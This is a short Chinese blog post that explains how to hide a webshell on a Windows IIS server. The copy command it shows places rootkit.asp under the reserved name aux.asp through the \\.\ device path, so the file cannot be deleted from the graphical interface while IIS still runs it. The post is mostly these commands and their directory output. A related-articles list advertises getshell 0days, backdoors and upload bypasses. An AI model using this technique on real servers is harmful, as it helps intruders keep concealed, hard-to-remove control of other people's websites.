当前位置: 首页 > news >正文

利用系统保留文件名创建无法删除的webshell

Windows 下不能够以下面这些字样来命名文件/文件夹,包括:“aux”,“com1”“com2”“prn”“con”和“nul”等,但是通过cmd下是可以创建此类文件夹的,使用copy命令即可实现:

D:/wwwroot>copy rootkit.asp //./D://wwwroot/aux.asp

已复制         1 个文件。

 
D:/wwwroot>dir

 驱动器 D 中的卷没有标签。

 卷的序列号是 4A56-1D29


 D:/wwwroot 的目录


2010-04-25  14:41    <DIR>          .

2010-04-25  14:41    <DIR>          ..

2010-03-08  22:50            42,756 aux.asp

2005-05-02  03:02             9,083 index.asp

2010-03-08  22:50            42,756 rootkit.asp

               3 个文件         94,595 字节

               2 个目录  3,307,204,608 可用字节

这类文件无法在图形界面删除,如下图所示:

 

只能在命令行下删除:

D:/wwwroot>del //./D:/wwwroot/aux.asp


D:/wwwroot>

然而在IIS中,这种文件又是可以解析成功的。

 

相关文章:

  • linux下用webshell修改文件权限
  • ASP .NET PHP 注入页面构造
  • 黑盒白盒测试工具
  • 反弹先锋Win32.ConnectBackShell
  • 变形aspwebshell phpwebshell[Lcx]
  • Serv-U BlackDoor [Version:6.4.x]
  • discuz x1.5 discuz 7.2 后台getshell 0day通杀版出来
  • 菲律宾 IT安全网被黑
  • freetextbox最新上传0day
  • 不改文件名的情况下上传突破
  • Mssql Public权限列目录
  • Ecshop 漏洞集合
  • DEDEcms GET shell 再次通杀 所有版本
  • N点主机管理系统密码解密代码程序
  • PHP168 V6.01/6.02权限提升及暴本地路径漏洞
  • axios请求、和返回数据拦截,统一请求报错提示_012
  • iOS编译提示和导航提示
  • JavaScript函数式编程(一)
  • markdown编辑器简评
  • php的插入排序,通过双层for循环
  • Python利用正则抓取网页内容保存到本地
  • Python语法速览与机器学习开发环境搭建
  • SpringCloud(第 039 篇)链接Mysql数据库,通过JpaRepository编写数据库访问
  • vue--为什么data属性必须是一个函数
  • 持续集成与持续部署宝典Part 2:创建持续集成流水线
  • 第三十一到第三十三天:我是精明的小卖家(一)
  • 分享自己折腾多时的一套 vue 组件 --we-vue
  • 基于Javascript, Springboot的管理系统报表查询页面代码设计
  • 理解 C# 泛型接口中的协变与逆变(抗变)
  • 京东物流联手山西图灵打造智能供应链,让阅读更有趣 ...
  • # Apache SeaTunnel 究竟是什么?
  • # 安徽锐锋科技IDMS系统简介
  • (C语言)逆序输出字符串
  • (Note)C++中的继承方式
  • (二十一)devops持续集成开发——使用jenkins的Docker Pipeline插件完成docker项目的pipeline流水线发布
  • (十)DDRC架构组成、效率Efficiency及功能实现
  • (四)鸿鹄云架构一服务注册中心
  • (已解决)什么是vue导航守卫
  • (原创)Stanford Machine Learning (by Andrew NG) --- (week 9) Anomaly DetectionRecommender Systems...
  • (转)Android学习笔记 --- android任务栈和启动模式
  • (转)ORM
  • .gitignore文件设置了忽略但不生效
  • .locked1、locked勒索病毒解密方法|勒索病毒解决|勒索病毒恢复|数据库修复
  • .net core 源码_ASP.NET Core之Identity源码学习
  • .NET MVC第三章、三种传值方式
  • .NET分布式缓存Memcached从入门到实战
  • :如何用SQL脚本保存存储过程返回的结果集
  • @Autowired 与@Resource的区别
  • @Autowired自动装配
  • @LoadBalanced 和 @RefreshScope 同时使用,负载均衡失效分析
  • @Pointcut 使用
  • @requestBody写与不写的情况
  • @RequestParam,@RequestBody和@PathVariable 区别
  • @Transactional类内部访问失效原因详解
  • [ vulhub漏洞复现篇 ] Apache APISIX 默认密钥漏洞 CVE-2020-13945